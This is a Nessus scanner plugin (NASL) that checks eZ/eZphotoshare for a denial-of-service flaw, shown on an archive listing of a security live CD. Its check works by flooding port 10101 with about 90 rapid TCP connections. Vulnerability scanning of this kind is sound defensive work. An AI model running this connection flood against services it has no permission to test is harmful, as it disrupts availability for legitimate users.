home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / ez_dos.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  65 lines

  1. #
  2. # This script was written by David Maciejak <david dot maciejak at kyxar dot fr>
  3. # based on Michel Arboi work
  4. #
  5. # Ref: Dr_insane
  6. #
  7. # This script is released under the GNU GPLv2
  8.  
  9. if(description)
  10. {
  11.   script_id(14682);
  12.   script_bugtraq_id(11129);
  13.   script_version("$Revision: 1.2 $");
  14.   if (defined_func("script_xref")) script_xref(name:"OSVDB", value:"9728");
  15.   script_name(english:"eZ/eZphotoshare Denial of Service");
  16.  
  17.  desc["english"] = "
  18. The remote host runs eZ/eZphotoshare, a service for sharing and exchanging 
  19. digital photos.
  20.  
  21. This version is vulnerable to a denial of service attack.
  22.  
  23. An attacker could prevent the remote service from accepting requests 
  24. from users by establishing quickly multiple connections from the same host.
  25.  
  26. Solution: Upgrade to the latest version of this software.
  27. Risk factor : Low";
  28.  
  29.   script_description(english:desc["english"]);
  30.  
  31.   script_summary(english:"Checks for denial of service in eZ/eZphotoshare");
  32.   script_category(ACT_DENIAL);
  33.   script_copyright(english:"This script is Copyright (C) 2004 David Maciejak");
  34.   script_family(english:"Denial of Service");
  35.   script_require_ports(10101);
  36.   exit(0);
  37. }
  38.  
  39.  
  40. if ( safe_checks() ) exit(0);
  41.  
  42. port = 10101;
  43.  
  44. if(get_port_state(port))
  45.   soc = open_sock_tcp(port);
  46.   if (! soc) exit(0);
  47.   
  48.   s[0] = soc;
  49.  
  50.   #80 connections should be enough, we just add few one :)
  51.   for (i = 1; i < 90; i = i+1)
  52.   {
  53.     soc = open_sock_tcp(port);
  54.     if (! soc)
  55.     {
  56.       security_warning(port);
  57.       for (j = 0; j < i; j=j+1) close(s[j]);
  58.     }
  59.     s[i] = soc;
  60.   }
  61.   for (j = 0; j < i; j=j+1) close(s[j]);
  62. }
  63. exit(0);
  64.